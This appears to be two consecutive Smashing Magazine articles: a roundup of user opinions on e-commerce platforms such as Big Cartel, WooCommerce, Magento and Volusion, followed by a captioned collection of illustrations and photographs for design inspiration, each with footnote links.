“The only thing I would say they need to improve is allowing more than one currency on the e-commerce site, which currently is not available.” | “It works pretty good for basic sales of items.” | “There are some limitations in terms of customizing, but they are minor.” | “If you are using it as is and just need the limited feature set that it comes with, it’s a great option.” | “Overall, it’s great for putting a few simple products up, but if you need anything beyond their default cart options, get a proper Squarespace developer or someone to set up a Shopify site for you.” | “It is really a great place to start, but unfortunately a place that is easily transitioned out of once the business begins to grow.”

Shipping

“My partners have had some concerns with the shipping aspect, though.” | “Yes, I would recommend it, but Squarespace needs to have calculated shipping for all the plans.” | “The shipping is still something I wish was a little easier.” | “The only thing I would say is that, for me, the shipping options are more limited than I would like.” | “There are some features I wish were better implemented in the base package (like shipping integration for international orders), but I’d recommend it.”

⁹

Big Cartel (91%) Link

What Users Like Link

Good for new stores

“I would recommend Big Cartel for smaller shops.” | “I would recommend it, especially startup users.” | “It’s a great place to start out!” | “We’d recommend it for similar businesses, especially those just getting started.” | “It is a great platform for something really simple and was very easy to set up.” | “Big Cartel is great for beginning stages of a store. We’re actually entertaining moving to a new platform right now.” | “It’s quite good for a small company or startup, for sure.” | “I’m finding that in the early stages of the business, it’s extremely handy for stock listing and very straightforward to use.”

Ease of use

“It’s very easy to use.” | “It’s very easy to use, navigate and customize the shopfront.” | “I am particularly fond of the back end and the admin tools. They make maintaining and shipping products a breeze.” | “It’s super-simple and really user-friendly.” | “I’m not savvy, so it works well for my skill level.” | “Easy to set up… and easy to control and set inventory.” | “They make it so easy to have a beautiful website.” | “For just a few items, Big Cartel totally gets the job done and is user-friendly.”

Price

“I only have to pay $9.99 a month for Big Cartel. That’s a huge perk for me.” | “Low price point and easy to use.” | “The rates are the lowest considering all the things you’re able to do.” | “I have found the cost is a lot better than my Etsy store.” | “You get a great platform for a great price.” | “Compared to Etsy, the fees are ridiculously cheap!” | “One fee a month, no item fees per listing… There is an option to open a store for free with five listings. This is an amazing feature.” | “Their prices are also very reasonable.”

What Users Don’t Like Link

Limitations

“Lacking in features.” | “It is limited in terms of themes… You always know when you’re on a Big Cartel site.” | “It does most of what I expect of it, but also has limitations.” | “The one problem I have is that the only options for receiving payments are PayPal and Stripe.” | “If you want more of an interactive site with blogs and videos and whatnot, I think there are better options out there.” | “We are currently moving over to Shopify because we have maxed out Big Cartel’s limited 300-item store capacity. That is the only downside of Big Cartel.” | “You are limited by what Big Cartel allows you to do. For example, there are certain promotions that I would like to do, but currently Big Cartel has no way of allowing it.”

¹¹

WooCommerce (90%) Link

What Users Like Link

Extensions

“Many useful plugins for it.” | “So many features.” | “There are plenty of add-ons with it to customize shop as we need.” | “Fully customizable.” | “The plugin architecture is great.” | “It also has a lot of plugins.” | “It’s very good if you are looking for something that can do anything… there are extensions available, and coders who can write plugins.” | “I’m a fan of the plugins because it allows for a lot of customization.”

Ecosystem

“The ecosystem is well supported.” | “Great support with a whole online community dedicated to it.” | “I’m always able to find the answer to any question I have, either through the official WooCommerce knowledge base or in the community forums.”

What Users Don’t Like Link

Developer may be required

“Custom modifications do require somewhat advanced developer knowledge.” | “WooCommerce does require knowledge in website building… At one point, it became extremely slow, and I couldn’t figure out where the problem was.” | “What should be native often requires plugins or coding.” | “Very customizable with some code editing.” | “WooCommerce definitely requires a solid knowledge of the inner workings.” | “There definitely is a learning curve, but it is not too hard to master.” | “It had to be highly customized for us by our website developers.”

¹³

OpenCart (88%) Link

What Users Like Link

Extensions

“There are plenty of extensions (free and for purchase).” | “Tons of extensions to make it really awesome.” | “OpenCart extensions… have been very valuable and reliable.” | “Customization does need IT capabilities, though.” | “The software is only as good as its implementers.”

What Users Don’t Like Link

Often requires a developer

“It took some PHP programming to get it completely as we wish, but now it works fine and suits my goals well.” | “If you do not have someone capable of working behind the scenes, it would be difficult to manage.” | “I’d recommend it if and only if you have at least some knowledge web programming (PHP, JavaScript, XML, MySQL, etc.).” | “Not recommended for anyone without some web programming knowledge.” | “With the right technical staff, yes I would.” | “If you would be a serious user, I can recommend OpenCart, but also I would recommend hiring a developer to make all custom improvements.” | “Yes, I would recommend it as a good platform with cheap extensions.” | “There is also a large amount of high-quality extensions.” | “Tons of plugins, both free to paid.”

Extensions can create bugs

“When you modify it, it does amazing things but is super-finicky.” | “Buying and installing extensions is a bad idea… It’s not a plug-and-play procedure.” | “As we grew bigger, there have been headaches, mostly to do with third-party extensions clashing with each other.”

¹⁵

Jumpseller (86%) Link

What Users Like Link

Customer support

“The Jumpseller team is also very helpful… They’ll walk you through the process of making website [changes], so you can really understand.” | “Technical support is great, always helpful and fast.” | “The best thing is its excellent service, very fast and efficient.” | “Support has worked well so far. When we’ve submitted a query, we’ve gotten quick feedback.” | “Fast and good email support.” | “The customer service is very responsive and helpful.” | “The email response time is super-fast. If I have one question or doubt regarding anything, from design to DNS configuration, they’ll reply in less than 15 minutes!”

Using it for Chilean and international stores

“Our store is based in Chile, and another feature we appreciated is that it had full integration with local payment systems.” | “Has local credit-card options (in our country).” | “Recently, they integrated the price list of one of the shipping companies most used in our country.” | “The good thing is the translation tool.” | “I can tell you that we have selected Jumpseller because we are selling in Chile, and the store was very well integrated with the most popular payment methods, couriers, etc.”

¹⁷

GoDaddy (83%) Link

What Users Like Link

Ease of use

“It is easy to set up.” | “Easy to maintain.” | “Fairly user-friendly.” | “They really made everything so simple to make extremely intuitive changes quickly.” | “It’s easy to work with.” | “I would recommend it for a new user because of the ease of use in building a store.” | “Easy to use and have had no issues.”

What Users Don’t Like Link

Limitations

“There are design limitations, though.” | “It is lacking in several business customization respects.” | “I wish there was a little more customization allowed.” | “There are some design limitations unless you know HTML.” | “Product is good but has many limitations.” | “I like it, but it does have limitations.” | “It has some limitations, but I have been able to work around them.” | “It does have its limitations on customizing, though.”

Credit-card processor options

“It would be better if it allowed shoppers to use a credit card to place an order, even if we don’t use their approved credit-card processor.” | “We were happy with them for years, and then out of the blue, the payment processors affiliated with GoDaddy dropped us.” | “We will be switching all of our stores from GoDaddy in the near future because it does not allow you to use the merchant service of your choice. You are forced to use Stripe.”

¹⁹

CoreCommerce (80%) Link

What Users Like Link

Support

“Tech support has always been responsive and friendly.” | “Good customer support.” | “I have been able to live chat or call with questions without issue.” | “The support is excellent.” | “Very quick responses to any of our requests.” | “Their support is very good.” | “Their customer service is absolutely the very best.” | “You can always call them 24/7 if you need any kind of support, and it doesn’t cost any extra money.” | “Their tech support is awesome.” | “Tech support has always been responsive and friendly.” | “CoreCommerce’s service is good. It has a mom and pop feel to it.”

Price

“Price for the features and benefits given is exceptional, and no one we’ve spoken with can come close to the value.” | “It is a very cost-effective solution.” | “It is also very affordable.” | “I have yet to find another platform that offers the same value as CoreCommerce (at least for our particular business).” | “Prices are good.”

What Users Don’t Like Link

Feels outdated

“Technologies are old, and they are very slow to update it.” | “It feels like the year 2003.” | “Outdated and uninspiring admin panel.” | “They’ve been a bit behind the times with integrations (still no Bitcoin, for example).” | “They are using an antiquated system, which doesn’t bode well for tie-in structures for the future.”

Difficult to use

“I do find the GUI to be somewhat frustrating and unintuitive.” | “It is annoying when you [have] to update each thing in multiple areas.” | “It is not intuitive or user-friendly.” | “The product was flaky. Flexible but badly designed in lots of areas.” | “Control panel sucks.”

²¹

BigCommerce (79%) Link

What Users Like Link

Customer support

“I emailed the president [of BigCommerce] at 1:00 am requesting help… Within 10 minutes, [he] was on it with compassion and ready to help. They have bent over backward for me.” | “They provide excellent customer support.” | “If nothing else, they seem to have great customer service.” | “More than anything, we care about customer service, and BigCommerce provides excellent customer service.” | “Technical support has been great.” | “Great support.” | “Their tech support is 24/7 and is very responsive to our questions.” | “Customer service… is very helpful.”

What Users Don’t Like Link

Price

“Their pricing structure is punitive for successful businesses… This is surely a recurring theme if you’ve reached out to many B2C website users who have grown their site.” | “A bit pricey when your sales hit over $300,000 a year.” | “[Recently,] my monthly payments increased from $25 to $250 due to my business exceeding the annual sales of their intermediate plan.” | “Because of our sales volume, BigCommerce frequently increases our monthly fees based on increasing sales. This has become very expensive.” | “A bit pricey.” | “We feel it is overpriced these days.” | “Their pricing structure makes no sense, but I’ve been with them for seven years.” | “I would recommend BigCommerce. Pricing is a bit high, though.” | “I personally think the pricing is a little steep.”

²³

Ubercart (78%) Link

What Users Don’t Like Link

Not for non-developers

“Not as friendly for a non-developer or an individual who just wants to set up shop on their own and doesn’t have a technical background.” | “Ubercart works well as long as you have an experienced programmer.” | “Please note that it would require a developer who knows Drupal, because many aspects needed customization.” | “[I would recommend it ] if you’re comfortable with Drupal.”

Difficult to use

“Ubercart is OK, but it is hard to customize.” | “The learning curve is quite steep.” | “It can be a bit tricky to get your store looking just the way you want.” | “Ubercart isn’t the easiest to set up or work with.” | “The only disadvantage of Ubercart is the complex configuration of the store system.” | “It’s not as plug-and-play as Shopify.”

²⁵

Wix (78%) Link

What Users Like Link

Ease of use

“The e-commerce site is beyond simple to use.” | “I would recommend it on one level: It’s easy to use. I can do all the building and updating myself, and so that’s good.” | “Easy to use.” | “Easy to build and maintain.” | “It is user-friendly, easy to set up and modify.” | “It’s super-easy to use, and it seems like everyone who’s ordered from me has also done so with ease.” | “If you want a simple storefront, it’s pretty straightforward, easy and cheap.” | “It is easy to set up.” | “It’s easy to use and user-friendly.” | “It was pretty intuitive to set up.”

What Users Don’t Like Link

Limitations

“It is basic.” | “There are some limitations with shipping and accounting (sending to QuickBooks, etc.).” | “A little limited in some options.” | “I have not been able to make it work in the way I need.” | “I cannot update the inventory amount.” | “We had so many different options, which the configuration of the store and products did not allow us to do.” | “We also wanted to be able to get customers reviews and could not do it.” | “My main complaint is the lack of customization options — for example, not being able to display a price per pound.” | “If you want a variety of options and a wide range of modifications, it is not ideal.”

²⁷

Magento (74%) Link

What Users Like Link

Highly customizable

“We have complete control over our Magento store and have customized it extensively to meet our needs. That’s what I like most about it.” | “The amount of customizations and extensions available are endless.” | “It has an unparalleled level of customization and freedom.” | “It has a lot of great customization features.” | “It’s pretty powerful.”

What Users Don’t Like Link

Difficult to use

“Probably the steepest learning curve.” | “It’s very expensive to get changes made.” | “Magento is overkill for what I need to do on my site.” | “User interface is not as easy as it could be.” | “It can be a real pain sometimes.” | “Complicated to set up.” | “It’s got a steep learning curve.” | “Magento has a huge learning curve.” | “It breaks for no reasons, and it breaks if you add anything to the site.” | “Always something going wrong for no apparent reason.”

Often requires professional help

“You will need a good PHP programmer if you intend to add anything to it beyond the default installation.” | “If one wants to really change Magento, one needs an expert.” | “Needs a good specialist to partner with to get the best out of it.” | “I would recommend it as long as you have a true Magento-certified developer to hold your hand the entire way and to create your site and work with you.” | “Magento is good if you’re a web developer and have coding skills.”

²⁹

Weebly (74%) Link

What Users Like Link

Ease of use

“It is very easy to use.” | “It was easy to use without web design experience.” | “It is basic and easy to use.” | “I have enjoyed the ease of Weebly and what you can accomplish with the tools.” | “It is extremely easy for me to use.” | “I’d recommend it because it is so easy to set up and track inventory.” | “This is one of the easiest [e-commerce platforms] I have used.” | “I do like the online store with Weebly because of the ease of use.” | “Weebly is really easy to use.”

What Users Don’t Like Link

Third-party hosts

“[Weebly] is offered through MacHighway, which I use for my hosting, so there were some glitches in the beginning that probably wouldn’t have been there if I’d gone straight through Weebly.” | “Just make sure you buy the Weebly subscription directly through weebly.com and not through a reseller, because I lost a whole website that way.” | “I would recommend it but only through the Weebly host.” | “The B.S. part is that since day one, iPower (a third-party Weebly host) claimed I was getting an ultra-premium package but was only paying for basic. I would go to edit a product and nothing worked. I’d call customer support and they’d tell me I need to upgrade. This has happened to me twice in three years with them. I’m hoping they get stuck with a class-action suit for fraud.” | “iPage is my host for Weebly. Because of this, I don’t have access to all of the features Weebly offers.” | “… Full access to all of the Weebly features would sort that at once, but iPage (maybe I should change) wants to lock me in for three years and pay the full amount up front!”

Limited features

“If you want a more customizable tool, then this might not work for you.” | “Weebly is missing some of the critcal things that we want from an online store.” | “I am hoping that they have, or will come up with, an automatic shipping calculation.” | “The only hiccup is when I need to change my prices. I have a lot of inventory, and I have found that the easiest way (relatively speaking) to do this is to change each one individually.” | “You can’t do everything design-wise on it.” | “It was perfect for me at first, but I have grown out of it very quickly [because of limited features].” | “The Weebly platform is not scalable. There is no element to customize your cart.” | “The shipping is a problem because it can’t be adjusted for lighter, heavier or multiple items.”

³¹

3dcart (72%) Link

What Users Don’t Like Link

Bandwidth overage charges

“If you read the forums, one problem that continually arises, and one that I have, is bandwidth. It seems that I’m always going over my bandwidth, even though I have relatively few products and dump files regularly.” | “3dcart charges for bandwidth, so serving lots of digital products from your server might not be a great idea depending on your budget.” | “They charge you for data, and it adds up.” | “It tends to use a lot of bandwidth. My store doesn’t have a huge amount of traffic (yet!), but I still go over my plan just about every month.”

Customer support

“Their comments are snarky, and their help is judgemental in that they always place blame on the customer, and it can take up to a week for them to solve a problem.” | “”Customer support has a laissez-faire attitude.” | “I have to really keep on them when I open a ticket, or I may not get a response for days.” | “I would say the biggest con has been customer service.” | “I would characterize them as almost disrespectful.” | “Their lack of support [was surprising].” | “The tech support also cannot help with even the most basic HTML questions.” | “Technical support online isn’t the best.” | “The help line is not very helpful. If there is a problem, such as the system stops taking orders or accepting credit cards, they assume it’s a problem on your end.” | “Their live support sucks.”

Difficult to use

“I feel the product is terribly cumbersome.” | “The admin interface makes it very difficult to find what settings I’m looking for.” | “It is awkward and not very user-friendly.” | “My website is with 3dcart, but it is overwhelming.” | “It is a little quirky in the back end.” | “I personally find it difficult to make even simple changes to.” | “Some of it is not very intuitive, so you have to keep clicking around until you remember where everything is.”

³³

PrestaShop (70%) Link

What Users Like Link

Modules

“It has quite a lot of modules.” | “It has loads of modules” | “Lots of additional modules and functionalities to add.” | “A lot of modules.” | “They have a lot of free and already installed modules.” | “There are a lot of free modules.” | “Large offer of modules.”

What Users Don’t Like Link

Difficult to use

“You need to be quite a good geek to understand everything.” | “We’ve encountered and still are encountering lots of problems with PrestaShop.” | “PrestaShop isn’t as user-friendly as others are nowadays.” | “The admin panel is not user-friendly.” | “I don’t recommend it for a beginner or if you don’t have much technical skill.”

Buggy

“I hate it… It’s buggy and impossible to upgrade easily to newer versions.” | “It’s kind of an unstable, slow system for me, but I think in the near future it will be more stable and fast.” | “We have lots of problems with PrestaShop.” | “No, I would not recommend it. Buggy as hell.” | “No, I would not recommend it. Too heavy and too slow.” | “The back-end pages sometimes take an age to load — even for simple stuff.”

³⁵

Goodsie (65%) Link

What Users Like Link

Good for beginners

“Quick and easy. I think its simplicity best suits the light or new user.” | “Great for people with no knowledge [of how to build a store].” | “For someone with zero experience building a website, I found their product to be so easy to navigate.” | “I highly recommend it for beginners.”

What Users Don’t Like Link

Pricing

“Way too expensive.” | “There are cheaper options out there that do the same thing.” | “I liked Goodsie when I started with them five or six years ago, but their prices keep going up.” | “Prices were hiked above what they should be, so I am about to change.” | “The price went from $15 to $30 per month not too long ago.”

³⁷

Spark Pay (65%) Link

What Users Like Link

Customer support is prompt

“Whenever we’ve needed support, their help systems are very responsive.” | “Spark Pay’s technical support is excellent.” | “Very responsive for help.” | “They have been responsive to any needs I’ve had.” | “I find their customer service to be quite responsive.” | “Tech support is very responsive via phone or email.” | “They have been very responsive to helping out with general website questions and problems.”

What Users Don’t Like Link

Bandwidth overage charges

“The main thing I don’t like are the extra bandwidth charges.” | “Nailed with huge bandwidth charges.” | “They are little hidden fees for going over your bandwidth account file storage and product count if you don’t keep an eye on them.”

Difficult to use

“Spark Pay is not simple!” | “They have a ton of features built in — most of them are half-baked and don’t function 100%, which has led to frustration.” | “[Needs to] reduce the bloat in their software.” | “Unless you have a designer and/or developer on staff, or at the very least a very computer-savvy non-techie, it’s virtually impossible to understand Spark Pay.” | “Their web editor is clumsy.” | “Their platform is buggy.” | “It is crazy complicated to make even some of the most mundane changes.” | “Their system bogs down so much that only the most minor of changes are doable.” | “Clunky UI, way too much complexity. Just a nightmare to deal with.”

While prompt, customer support can be disappointing

“There service desk really isn’t one. They have no formal (or competent) escalation process.” | “They are not nearly as responsive to fixing significant issues as they should be.” | “I feel like the platform has a lot of tools to offer, but few resources to teach you how to use them.” | “Technical support is rather lacking. When you do finally get someone to answer the tickets, they do a very minimal amount of work and effort to correct the problem.”

³⁹

Volusion (51%) Link

What Users Like Link

Customer support

“Their technical support department people are top-notch… I’m extremely impressed with them.” | “The [support] team at Volusion is knowledgeable, and that is highly important.” | “Their customer support is excellent.” | “Their support is superb.” | “Support is second to none.” | “There technical support team is also very good in helping to fix any issues that we might have had.”

What Users Don’t Like Link

Bandwidth limitations

“The one thing I can’t stand is the amount of bandwidth they provide you with. [It] will easily be gone in a week if you have a lot of visitors.” | “They don’t have adequate bandwidth plans, and their billing for bandwidth overages is highly irritating.” | “Site traffic is pricey.” | “I originally used very large images for my products and received some rather stiff hosting fines for going over the stupidly low bandwidth level.” | “The way they charge for bandwidth caused us to have obscene overage charged for months.”

Expensive

“It is particularly expensive, and the costs weren’t clear [when we started].” | “Once the site is built, they nickel and dime you for every little thing imaginable.” | “I also used the Volusion SEO team and that was a joke. $1600 a month!” | “Not the least expensive around.” | “I would caution new users to be aware of hidden costs. Email addresses are extra. An SSL certificate is extra. A service to check the reliability of each credit card is extra. SEO and design services are phenomenally expensive.” | “Going by the prices they charge for SEO packages, they’re aiming at companies far larger than mine.” | “If you want anything besides barebone offerings, everything else is available… for a price.” | “I just wish it was a little cheaper.” | “Volusion keeps [the initial setup and customization] complicated, hoping that you will pay them to do it for you.”

Difficult to use

“The back end is not user-friendly.” | “The UX is confusing and bloated, but I’m used to it.” | “There is a learning curve, so it takes a while to get going. And if you want customization, be prepared to learn it yourself or pay some hefty fees.” | “It’s not straightforward and is prone to errors.” | “If you change a font size within the text, you then lose all other formatting — nothing major, but annoying and time-consuming.” | “It’s quite clunky to manage content and design.” | “There are random glitches throughout the site that have probably cost me thousands in abandoned carts.” | “One thing that is hard for me is manipulating website elements. GoDaddy was easier for me.”

⁴¹

Conclusion Link

It’s worth noting that this is not a list of all e-commerce software currently available in the world. Instead, I’ve only included software for which I was able to talk to a minimum of 30 users (and I was not able to find 30 users for several companies).

But this is a fairly comprehensive list of the most popular e-commerce platforms. Furthermore, these are the thoughts of real, verified users. I hope it’s helpful in your search for the right e-commerce software!

This article is based off of the e-commerce software guide originally published here⁴³.

(vf, al, il)

Footnotes Link

1. 1 https://www.smashingmagazine.com/2014/10/reducing-abandoned-shopping-carts/
2. 2 https://www.smashingmagazine.com/2013/11/guidelines-navigation-categories-ecommerce-study/
3. 3 https://www.smashingmagazine.com/2013/03/designing-a-better-mobile-checkout-process/
4. 4 https://www.smashingmagazine.com/2011/04/taking-credit-card-payments-online-whats-involved/
5. 5 https://www.wisebuyer.com/portfolio-builders
6. 6 https://www.wisebuyer.com/landing-page-builders
7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Shopify-large-opt.jpg
8. 8 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Shopify-large-opt.jpg
9. 9 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Squarespace-large-opt.jpg
10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Squarespace-large-opt.jpg
11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Big-Cartel-large-opt.jpg
12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Big-Cartel-large-opt.jpg
13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/03/WooCommerce-large-opt.png
14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/03/WooCommerce-large-opt.png
15. 15 https://www.smashingmagazine.com/wp-content/uploads/2017/03/OpenCart-large-opt.png
16. 16 https://www.smashingmagazine.com/wp-content/uploads/2017/03/OpenCart-large-opt.png
17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Jumpseller-large-opt.jpeg
18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Jumpseller-large-opt.jpeg
19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/03/GoDaddy-large-opt.jpg
20. 20 https://www.smashingmagazine.com/wp-content/uploads/2017/03/GoDaddy-large-opt.jpg
21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Core-Commerce-large-opt.jpg
22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Core-Commerce-large-opt.jpg
23. 23 https://www.smashingmagazine.com/wp-content/uploads/2017/03/BigCommerce-large-opt.jpg
24. 24 https://www.smashingmagazine.com/wp-content/uploads/2017/03/BigCommerce-large-opt.jpg
25. 25 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Ubercart-large-opt.png
26. 26 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Ubercart-large-opt.png
27. 27 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Wix-large-opt.jpg
28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Wix-large-opt.jpg
29. 29 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Magento-large-opt.png
30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Magento-large-opt.png
31. 31 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Weebly-large-opt.jpg
32. 32 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Weebly-large-opt.jpg
33. 33 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3dcart-large-opt.jpg
34. 34 https://www.smashingmagazine.com/wp-content/uploads/2017/03/3dcart-large-opt.jpg
35. 35 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Prestashop-large-opt.png
36. 36 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Prestashop-large-opt.png
37. 37 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Goodsie-large-opt.png
38. 38 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Goodsie-large-opt.png
39. 39 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Spark-Pay-large-opt.jpg
40. 40 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Spark-Pay-large-opt.jpg
41. 41 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Volusion-large-opt.jpeg
42. 42 https://www.smashingmagazine.com/wp-content/uploads/2017/03/Volusion-large-opt.jpeg
43. 43 https://www.wisebuyer.com/ecommerce-software

↑ Back to topTweet itShare on Facebook

On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.

Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.

Further Reading on SmashingMag: Link

• Finding Inspiration In Uncommon Sources: 12 Places To Look¹
• Add Music To Your Workflow To Improve Results²
• Inspiring Everyday Graphic Design³
• Art Inspiration From Individual Artist Portfolios⁴

Reflect Magazine Link

Great color combination. Impressive how all elements have been refined to their best simplicity.

⁵

Quentin Monge Link

The fantasy of French illustrator Quentin Monge. Such a lovely style!

⁷

“Lire” Cover Link

Admiring how the illustrator played with light sources and shadows. The faces immediately catch your attention, don’t they?

⁹

If I Was Small Link

This one made me laugh. What if I was small? Those characters are just sublime! So very well done.

¹¹

Endo-Kiss Link

Riding your bike together is exactly like you see here.

¹³

Almanac Beer Co’s Mural Link

Part of a bigger illustration of a mural. You can view a process video of how this was applied on the wall here¹⁵.

¹⁶

Cinerama Link

Part of a bumper animation that plays before each film at Cinerama. Here you see it animated¹⁸. It’s really cool — I’m sure you’ll agree.

¹⁹

Lone Tree Of Lake Wanaka Link

Sometimes you don’t need much to get a great picture.

²¹

Tweed Run London 2017 Link

This vintage bicycle event has always a nice poster.

²³

Beverly Hills Hotel: Gucci Link

Nice style! The eyes with glasses are such stunners.

²⁵

Mystery Project 82.1 Link

A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!

²⁷

Kingfisher Link

One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions²⁹, too.

³⁰

For “Le Monde” Link

Divine color palette! Superb highlights and shadows.

³²

Café Insoluble Link

My kind of color palette and great textures.

³⁴

Lápiz Grafito Link

The colors are so harmonious and pleasing, and the drawing is just magnificent.

³⁶

Tycho: UK Tour Link

Another addition to the European Tour Tycho is currently working on. This is quite lovely and makes me think back to the cassette era.

³⁸

Hansen’s Bicycle Race Link

Always a fan of something with a bike in it. When it’s created by the talented Madsberg it gets even better. I love the elegance in his work.

⁴⁰

Hôtel Americano Link

Part of a series that was created as an irreverent ad campaign inspired by the hotel’s close relationship with the contemporary art world.

⁴²

Bauhaus Music Link

Project on the theme of music, while playing with a Bauhaus-inspired style.

⁴⁴

Fazer Marianne Link

Interesting play with lines. Not an easy one to pull off.

⁴⁶

Feel The Night Link

With the atmosphere in this illustration you just feel the night. Come in and enjoy the ride.

⁴⁸

The Path Link

Brilliant light. Excellently executed. A perfect example of what you can get when you are in the right spot at the right time.

⁵⁰

Afternoon And Downhill Link

Marvellous winter picture! Ain’t that light spectacular?

⁵²

Educating Your Dreams Link

Special style. Inspiring patterns.

⁵⁴

Milk & Honey Link

Lovely custom type and ornaments.

⁵⁶

Reflections Of Kinderdijk II Link

Beautiful perspective, great reflection and amazing warm colors!

⁵⁸

Paris: Nathalie Link

Gorgeous photos of Paris from Nathalie Geffroy. Be sure to go see the rest.

⁶⁰

Bending Over Backwards Link

I’ve been following Oksana Grivina for many years and her style is just as lovely as I remember.

⁶²

Matchbox Cycling Packaging Link

The legendary car that still is to be seen in Oudenaarde, Belgium. Neil Stevens created this one for Matchbox.

⁶⁴

Stella McCartney Link

The portraits of Elodie are always a pleasure to look at. So many details to take in and think (wish I could do that).

⁶⁶

Jane & Brigitte Link

A second one from Elodie that I couldn’t resist. Look at those eyes and lips.

⁶⁸

Up Characters Link

Admiring the faces of these holiday characters for Westjet‘s inflight magazine “UP”. The expressions created with just a few lines.

⁷⁰

Tuscany Link

Love the use of color and patterns. Beautiful curvy lines of the landscape too!

⁷²

White Aurora Link

What an amazing display of white Northern Lights or white aurora curtain. Seen somewhere over Finland.

⁷⁴

Fabric Magazine: London’s Green Spaces Link

Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.

⁷⁶

Yankee Link

The typefaces, textures and colors. They are all spot on in this illustration. Inspired by country vintage.

⁷⁸

Robinhood Gold Link

Beautiful harmony and consistency without leaning over towards kitsch. Not easy when there is gold involved.

⁸⁰

Digital Arts Expo Link

Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.

⁸²

ANWB: Kampioen Link

Great nostalgic vibe in this one. Reminds of the early adverts from the 60’s. Love the bright colors, as well as the shadow and highlights effects.

⁸⁴

Pixar Times Link

Illustration created for The Pixar Times⁸⁶. Everybody loves a hero. Love how the shadows are done, and the pattern effects.

⁸⁷

What To See And Do In Brussels Link

Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.

⁸⁹

Moment In New York Link

The faces are very original and recognizable as the style of Dutch illustrator Jackie Besteman.

⁹¹

Exercise On Skis Link

Love the figures and how they are portrayed.

⁹³

I Draws What I Likes… Link

“When I’m stressed about work, I just think about this. Drawring!” Beautiful custom typography and great colors.

⁹⁵

Hotdogs! Link

A nice pattern of hotdogs to get you hungry. It’s available at the pattern library⁹⁷.

⁹⁸

Bleacher Report Link

This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!

¹⁰⁰

Modus Magazine Link

The lanes in the grass are like guides to draw you into the building. It also creates a beautiful symmetrical vibe.

¹⁰²

Life Is Beautiful Link

With a view like this I would totally think so. Taken in Belvedere, Tuscany.

¹⁰⁴

Amex Gold Link

Great usage of minimal colors and shapes.

¹⁰⁶

Bokeh Tribute Link

Lovely tribute to the bokeh effect.

¹⁰⁸

(il)

Footnotes Link

1. 1 https://www.smashingmagazine.com/2010/02/finding-inspiration-in-uncommon-sources-12-places-to-look/
2. 2 https://www.smashingmagazine.com/2010/07/add-music-to-your-workflow-to-improve-results/
3. 3 https://www.smashingmagazine.com/2016/03/inspiring-graphic-design/
4. 4 https://www.smashingmagazine.com/2010/11/art-inspiration-for-the-weekend/
5. 5 http://www.fernandovt.com/2016/12/3/reflect-magazine
6. 6 http://www.fernandovt.com/2016/12/3/reflect-magazine
7. 7 https://handsomefrank.com/illustrators/quentin-monge
8. 8 https://handsomefrank.com/illustrators/quentin-monge
9. 9 https://www.behance.net/gallery/48788243/2016-editorial-work
10. 10 https://www.behance.net/gallery/48788243/2016-editorial-work
11. 11 http://jack-hudson.com/#/if-i-was-small/
12. 12 http://jack-hudson.com/#/if-i-was-small/
13. 13 http://www.artcrank.com/home/as-endo-kiss
14. 14 http://www.artcrank.com/home/as-endo-kiss
15. 15 https://vimeo.com/201030301
16. 16 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
17. 17 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
18. 18 https://vimeo.com/182602999
19. 19 https://www.invisiblecreature.com/work/cinerama
20. 20 https://www.invisiblecreature.com/work/cinerama
21. 21 https://twitter.com/paddydonnelly/status/838161878085955584
22. 22 https://twitter.com/paddydonnelly/status/838161878085955584
23. 23 http://www.tweedrun.com/tickets/
24. 24 http://www.tweedrun.com/tickets/
25. 25 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
26. 26 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
